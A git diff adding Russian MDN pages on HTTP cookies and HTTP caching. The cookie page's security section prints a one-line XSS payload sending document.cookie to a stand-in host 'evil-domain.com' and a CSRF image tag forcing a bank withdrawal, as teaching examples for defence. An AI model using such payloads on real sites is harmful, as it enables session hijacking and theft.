+ + diff --git "a/files/ru/web/http/\320\272\321\203\320\272\320\270/index.html" "b/files/ru/web/http/\320\272\321\203\320\272\320\270/index.html" new file mode 100644 index 0000000000..154f05cdb0 --- /dev/null +++ "b/files/ru/web/http/\320\272\321\203\320\272\320\270/index.html" @@ -0,0 +1,173 @@ +--- +title: Куки HTTP +slug: Web/HTTP/Куки +tags: + - Куки +translation_of: Web/HTTP/Cookies +--- +

{{HTTPSidebar}}

+ +

HTTP cookie (web cookie, cookie браузера) - это небольшой фрагмент данных, отправляемый сервером на браузер пользователя, который тот может сохранить и отсылать обратно с новым запросом к данному серверу. Это, в частности, позволяет узнать, с одного ли браузера пришли оба запроса (например, для аутентификации пользователя). Они запоминают информацию о состоянии для протокола HTTP, который сам по себе этого делать не умеет.

+ +

Cookie используются, главным образом, для:

+ +

⦁    Управления сеансом (логины, корзины для виртуальных покупок)
+ ⦁    Персонализации (пользовательские предпочтения)
+ ⦁    Мониторинга (отслеживания поведения пользователя)

+ +

До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (localStorage and sessionStorage) и IndexedDB.

+ +
+

Чтобы посмотреть сохраненные cookies (и какие еще способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).

+
+ + + +

Получив HTTP-запрос, вместе с откликом сервер может отправить заголовок  {{HTTPHeader("Set-Cookie")}} с ответом. Cookie обычно запоминаются браузером и посылаются в значении заголовка HTTP  {{HTTPHeader("Cookie")}} с каждым новым запросом к одному и тому же серверу. Можно задать срок действия cookie, а также срок его жизни, после которого cookie не будет отправляться. Также можно указать  ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту  оно отсылается.

+ + + +

Заголовок {{HTTPHeader("Set-Cookie")}}  HTTP-отклика используется для отправки cookie с сервера на клиентское приложение (браузер). Простой cookie может задаваться так:

+ +
Set-Cookie: <имя-cookie>=<заголовок-cookie>
+ +

Этот заголовок с сервера дает клиенту указание сохранить cookie (это делают, например, PHP, Node.js, Python и Ruby on Rails). Отклик, отправляемый браузеру, содержит заголовок Set-Cookie, и cookie запоминается браузером.

+ +
HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]
+ +

Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохраненные ранее cookies. 

+ +
GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+
+ + + +

Простой cookie, пример которого приведен выше, представляет собой сессионный cookie (session cookie) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или  Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.

+ +

Постоянные cookies

+ +

Постоянные cookie ( permanent cookies) удаляются не с закрытием клиента, а при наступлении определенной даты (атрибут Expires) или после определенного интервала времени (атрибут Max-Age).

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+ +

Secure ("безопасные") и HttpOnly cookies

+ +

"Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищенные сайты (http:) не могут создавать куки с флагом secure.

+ +

Куки HTTPonly не доступны из JavaScript через свойства {{domxref("Document.cookie")}} API, что помогает избежать межсайтового скриптинга ({{Glossary("XSS")}}). Устанавливайте этот флаг для тех cookie, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг HttpOnly.

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+ +

Область видимости куков

+ +

Директивы Domain  и Path определяют область видимости куки, то есть те URL'ы, к которым куки могут отсылаться.
+ Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берется доменная часть адреса документа (но без поддоменов).  Если домен указан явно, то поддомены всегда включены.

+ +

Например, если задано Domain=mozilla.org, то куки включены и в поддоменах, например, в developer.mozilla.org.

+ +

Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie.  Символ %x2F ("/") интерпретируется как разделитель разделов, подразделы также включаются.

+ +

Если задано Path=/docs, то подходят и такие пути, как:

+ + + +

Куки SameSite {{experimental_inline}}

+ +

Куки SameSite позволяют серверам декларировать, что куки не должны отсылаться с межсайтовыми запросами, что в некотором роде обеспечивает защиту от межсайтовых подделок запроса ({{Glossary("CSRF")}}). Куки SameSite находятся пока в стадии эксперимента и поддерживаются не всеми браузерами.

+ +

Доступ из JavaScript посредством Document.cookie

+ +

Куки можно создавать через JavaScript при помощи свойства {{domxref("Document.cookie")}}. Если флаг HttpOnly не установлен, то и доступ к существующим cookies можно получить через JavaScript.

+ +
document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"
+ +

Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчеркнутые ниже (раздел Security). Куки, доступные для JavaScript, могут быть похищены посредством XSS.

+ + + +

Безопасность

+ +
+

Важная информация никогда не должна храниться или передаваться в куках HTTP, поскольку этот механизм сам по себе небезопасен.

+
+ +

Захват сессии (session hijacking) и XSS

+ +

Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошел процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+ +

Атрибут HttpOnly помогает понизить эту угрозу, перекрывая доступ к кукам из JavaScript..

+ +

Межсайтовая подделка запроса (CSRF - Cross-site request forgery)

+ +

В Wikipedia приведен хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:

+ +
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
+ +

Теперь, если вы зашли в свой банковский аккаунт, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа с этим изображением деньги будут переведены с вашего счета. Для защиты от этого изпользуется ряд методов:

+ + + +

Отслеживание и частные данные

+ +

Сторонние (Third-party) куки

+ +

Куки связаны с определенным доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "куками первого лица" (first-party cookies). Если это другой домен, их называют "сторонними куками" (third-party cookies). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть типы файлов cookie, используемые Google. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, Privacy Badger от EFF).

+ +

Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе cookie statement (создание куков).

+ +

Не отслеживать (Do-Not-Track)

+ +

Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.

+ +

Директива Евросоюза о куках

+ +

Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счет могут быть свои законы.

+ +

Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.

+ +

Подробнее об этом можно прочитать в соответствующем разделе Википедии (Wikipedia). За наиболее полной и точной информацией обращайтесь к законодательствам конкретных стран.

+ +

Куки-зомби и "вечные" куки

+ +

Более радикальный подход к кукам представляют собой куки-зомби, или "вечные" куки, которые восстанавливаются после удаления, и полное удаление которых умышленно затруднено. Они используют прикладные интерфейсы веб-хранилищ (Web storage API), Flash Local Shared Objects и другие методы собственного воссоздания в случае, если обнаружено их отсутствие.

+ + + +

Читайте также

+ + diff --git "a/files/ru/web/http/\320\272\321\215\321\210\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" "b/files/ru/web/http/\320\272\321\215\321\210\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" new file mode 100644 index 0000000000..8e472eb126 --- /dev/null +++ "b/files/ru/web/http/\320\272\321\215\321\210\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" @@ -0,0 +1,165 @@ +--- +title: HTTP-кеширование +slug: Web/HTTP/Кэширование +tags: + - HTTP + - Кеширование + - Кэширование + - Руководство +translation_of: Web/HTTP/Caching +--- +
{{HTTPSidebar}}
+ +

Производительность веб-сайтов и приложений можно значительно повысить за счет повторного использования ранее полученных ресурсов. Веб-кеши сокращают задержку и снижают сетевой траффик, уменьшая тем самым время, необходимое для отображения ресурсов. Используя HTTP-кеширование, сайты становятся более отзывчивыми.

+ +

Различные виды кеширования

+ +

Техника кеширования заключается в сохранении копии полученного ресурса для возврата этой копии в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо обращения к исходному серверу выполняется загрузка копии из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому обслуживать всех клиентов, и повышается производительность — кеш ближе к клиенту и ресурс передается быстрее. Кеширование является основным источником повышения производительности веб-сайтов. Однако, кеш надо правильно сконфигурировать: ресурсы редко остаются неизменными, так что копию требуется хранить только до того момента, как ресурс изменился, но не дольше.

+ +

Существует несколько видов кешей, которые можно разделить на две основные категории: приватные кеши и кеши совместного использования. В кешах совместного использования (shared cache) хранятся копии, которые могут направляться разным пользователям. Приватный кеш (private cache) предназначен для отдельного пользователя. Здесь будет говориться в основном о кешах браузеров и прокси, но существуют также кеши шлюзов, CDN, реверсные прокси кеши и балансировщики нагрузки, разворачиваемые на серверах для повышения надежности, производительности и масштабируемости веб-сайтов и веб-приложений.

+ +


+
+  

+ +

What a cache provide, advantages/disadvantages of shared/private caches.

+ +

Приватный (private) кеш браузера

+ +

Приватный кеш предназначен для отдельного пользователя. Вы, возможно, уже видели параметры кеширования в настройках своего браузера. Кеш браузера содержит все документы, загруженные пользователем по HTTP. Он используется для доступа к ранее загруженным страницам при навигации назад/вперед, позволяет сохранять страницы, или просматривать их код, не обращаясь лишний раз к серверу. Кроме того, кеш полезен при отключении от сети.

+ +

Общий (shared) прокси-кеш

+ +

Кеш совместного использования — это кеш, который сохраняет ответы, чтобы их потом могли использовать разные пользователи. Например, в локальной сети вашего провайдера или компании, может быть установлен прокси, обслуживающий множество пользователей, чтобы можно было повторно использовать популярные ресурсы, сокращая тем самым сетевой траффик и время ожидания.

+ +

Цели кеширования

+ +

Кеширование в HTTP не является обязательным, однако в большинстве случаев бывает полезно повторно использовать ранее сохраненные ресурсы. Тем не менее, стандартные кеши HTTP обычно способны кешировать только ответы на запросы методом {{HTTPMethod("GET")}}, а другие отклоняют.

+ +

Первичный ключ состоит из метода запроса и запрашиваемого URI (зачастую используется только URI, поскольку целью кеширования являются только GET-запросы). Вот примеры того, что обычно записывается в кеш:

+ + + +

Запись в кеше может также состоять из множества ответов, различаемых по вторичному ключу, если при формировании ответа производится согласование данных. Подробнее об этом рассказано ниже, в разделе, посвященном заголовку {{HTTPHeader("Vary")}}.

+ +

Управление кешированием

+ +

Заголовок Cache-control

+ +

Поле {{HTTPHeader("Cache-Control")}} общего заголовка HTTP/1.1 используется для задания инструкций по механизму кеширования как в запросах, так и в ответах. Применяется для задания политик кеширования.

+ +

Полное отсутствие кеширования

+ +

В кеше не должно сохраняться ничего — ни по запросам клиента, ни по ответам сервера. Запрос всегда отправляется на сервер, ответ всегда загружается полностью.

+ +
Cache-Control: no-store
+Cache-Control: no-cache, no-store, must-revalidate
+
+ +

Кешировать, но проверять актуальность

+ +

Перед тем, как выдать копию, кеш запрашивает исходный сервер на предмет актуальности ресурса.

+ +
Cache-Control: no-cache
+ +

Приватные (private) и общие (public) кеши

+ +

Директива "public" указывает, что ответ можно сохранять в любом кеше. Это бывает полезно, если возникает потребность сохранить страницы с HTTP-аутентификацией, или такими кодами ответа, которые обычно не кешируются. Директива же "private" указывает, что ответ предназначен отдельному пользователю и не должен храниться в кеше совместного использования. В этом случае ответ может сохраняться приватным кешем браузера.

+ +
Cache-Control: private
+Cache-Control: public
+
+ +

Срок действия (Expiration)

+ +

Самой важной здесь является директива "max-age=<seconds>" — максимальное время, в течение которого ресурс считается "свежим". В отличие от директивы {{HTTPHeader("Expires")}}, она привязана к моменту запроса. К неизменяющимся файлам приложения обычно можно применять "агрессивное" кеширование. Примером таких статических файлов могут быть изображения, файлы стилей (CSS) или скриптов (JavaScript).

+ +

Подробнее об этом рассказывается в разделе Свежесть ресурса.

+ +
Cache-Control: max-age=31536000
+ +

Проверка актуальности

+ +

При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истекшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе Валидация кеша.

+ +
Cache-Control: must-revalidate
+ +

Заголовок Pragma

+ +

{{HTTPHeader("Pragma")}} является заголовком HTTP/1.0. Он не описан для HTTP-ответов и, таким образом, не может служить надежной заменой общему заголовку Cache-Control протокола HTTP/1.1, хотя его поведение аналогично "Cache-Control: no-cache" когда поле заголовка Cache-Control опущено в запросе. Использовать его следует только для совместимости с клиентами HTTP/1.0.

+ +

Свежесть сохраненной копии

+ +

Однажды попав в кеш, ресурс, теоретически, может храниться там вечно. Однако, поскольку объем хранилища конечен, записи периодически приходится оттуда удалять.  Этот процесс называют вытеснением данных из кеша (cache eviction). Кроме того, ресурсы могут изменяться на сервере, поэтому кеш требуется обновлять. Поскольку HTTP является клиент-серверным протоколом, сервера не могут сами обращаться к кешам и клиентам при изменении ресурса; им необходимо договориться о сроке действия сохраненной копии. До его истечения ресурс считается свежим (fresh), после — устаревшим (stale). Алгоритмы вытеснения отдают предпочтение "свежим" ресурсам. Тем не менее, копия ресурса не удаляется из кеша сразу же по истечении ее срока действия; при получении запроса на устаревший ресурс кеш передаёт его дальше с заголовком {{HTTPHeader("If-None-Match")}} на случай, если копия все еще актуальна. Если это так, сервер возвращает заголовок {{HTTPStatus("304")}} Not Modified («не изменялось»), а тело ресурса не посылает, экономя тем самым траффик.

+ +

Вот пример того, как протекает этот процесс при использовании совместного кеша прокси:

+ +

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

+ +

Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берется равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified.  Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.
+ Время устаревания (expirationTime) вычисляется следующим образом:

+ +
expirationTime = responseTime + freshnessLifetime - currentAge
+
+ +

где responseTime — это время получения ответа по часам браузера, а currentAge — текущий возраст кеша.

+ +

Обновление статических ресурсов (Revved resources)

+ +

Чем больше ресурсов может быть взято из кеша, тем быстрее сайт реагирует на запросы и тем выше его производительность. Из этих соображений их "срок годности" имеет смысл делать как можно большим. Однако, возникает проблема с ресурсами, которые обновляются редко и нерегулярно. Как раз их кеширование дает больше всего выгоды, но сильно затрудняет обновление. Такие ресурсы можно найти на любой веб-странице: файлы скриптов (JavaScript) и стилей (CSS) изменяются редко, но уж если это произошло, обновление надо произвести как можно быстрее.

+ +

Веб-разработчики разработали метод, который Стив Сандерс (Steve Sounders) назвал revving[1], что можно перевести как "оборачиваемость". Для редко обновляемых файлов используют особый способ именования: в их URL, обычно в имя файла, добавляют номер релиза или версии. Таким образом, каждая новая версия считается отдельным ресурсом, срок устаревания которого отодвинут далеко в будущее, как правило, на год, или больше. Недостатком этого метода является то, что для получения новых версий ресурса приходится обновлять все ссылки на него — это некоторое усложнение, справиться с которым разработчику помогает цепочка инструментов. Обновление статических ресурсов влечет за собой обновление и часто изменяемых ресурсов. Когда считываются первые, считываются и новые версии вторых.

+ +

Этот метод имеет дополнительное достоинство: одновременное обновление двух кешированных ресурсов не приводит к ситуации, при которой устаревшая версия одного ресурса используется вместе новой версией другого. Это очень важно для сайтов с взаимосвязанными файлами стилей CSS или JS-скриптов — связь может возникнуть, например, из-за ссылок на одни и те же элементы HTML-страницы.

+ +

+ +

Номер версии, добавляемый к статическому ресурсу, не обязательно записывать в виде стандартного номера версии наподобие 1.1.3, или другого возрастающего числового значения. Это может быть что угодно, позволяющее избежать совпадений — например, дата.

+ +

Валидация кеша

+ +

Валидация кеша запускается при нажатии пользователем кнопки перезагрузки. Кроме того, она может выполняться в ходе обычного просмотра страниц, если кешированный ответ включает заголовок "Cache-control: must-revalidate". Другим фактором являются настройки кеширования браузера — можно потребовать принудительной валидации при каждой загрузке документа.

+ +

При истечении срока годности документа он либо проходит валидацию, либо повторно доставляется с сервера. Валидация может выполняться только если на сервере реализован сильный валидатор или слабый валидатор.

+ +

Заголовки ETag

+ +

Заголовок ответа {{HTTPHeader("ETag")}} является непрозрачным для клиентского приложения (агента) значением, которое можно использовать в качестве сильного валидатора. Суть в том, что клиент, например, браузер, не знает, что представляет эта строка и не может предсказать, каким будет ее значение. Если в ответе присутствует заголовок ETag, клиент может транслировать его значение через заголовок {{HTTPHeader("If-None-Match")}} будущих запросов для валидации кешированного ресурса.

+ +

Заголовок ответа {{HTTPHeader("Last-Modified")}} можно использовать в качестве слабого валидатора. Слабым он считается из-за того, что имеет 1-секундное разрешение. Если в ответе присутствует заголовок Last-Modified, то для валидации кешированного документа клиент может выводить в запросах заголовок  {{HTTPHeader("If-Modified-Since")}}.

+ +

При запросе на валидацию сервер может либо проигнорировать валидацию и послать стандартный ответ {{HTTPStatus(200)}} OK, либо вернуть ответ {{HTTPStatus(304)}} Not Modified (с пустым телом), тем самым указывая браузеру взять копию из кеша. В последнем случае в ответ могут входить также заголовки для обновления срока действия кешированного ресурса.

+ +

Изменяющиеся ответы

+ +

Заголовок HTTP-ответа {{HTTPHeader("Vary")}} определяет, как по заголовкам будущих запросов понять, может ли быть использована копия из кеша, или нужно запросить новые данные у сервера.

+ +

Если кеш получает запрос, который можно удовлетворить сохраненным в кеше ответом с заголовком Vary, то использовать этот ответ можно только при совпадении всех указанных в Vary полей заголовка исходного (сохраненного в кеше) запроса и нового запроса.

+ +

The Vary header leads cache to use more HTTP headers as key for the cache.

+ +

Это может быть полезно, например, при динамическом предоставлении контента. При использовании заголовка Vary: User-Agent кеширующие сервера, принимая решение об использовании страницы из кеша, должны учитывать агент пользователя. Так можно избежать ситуации, когда пользователи мобильных устройств по ошибке получат десктопную версию вашего сайта. Вдобавок, это может помочь Google и другим поисковым системам обнаружить мобильную версию страницы, и может также указать им на то, что здесь нет никакой подмены контента с целью поисковой оптимизации (Cloaking).

+ +
Vary: User-Agent
+ +

Поскольку значение заголовка {{HTTPHeader("User-Agent")}} различается ("varies") у мобильных и десктопных клиентов, закешированный мобильный контент не будет по ошибке отсылаться пользователям десктопов и наоборот.

+ +

Смотрите также

+ + + +


+  

-- cgit v1.2.3-54-g00ecf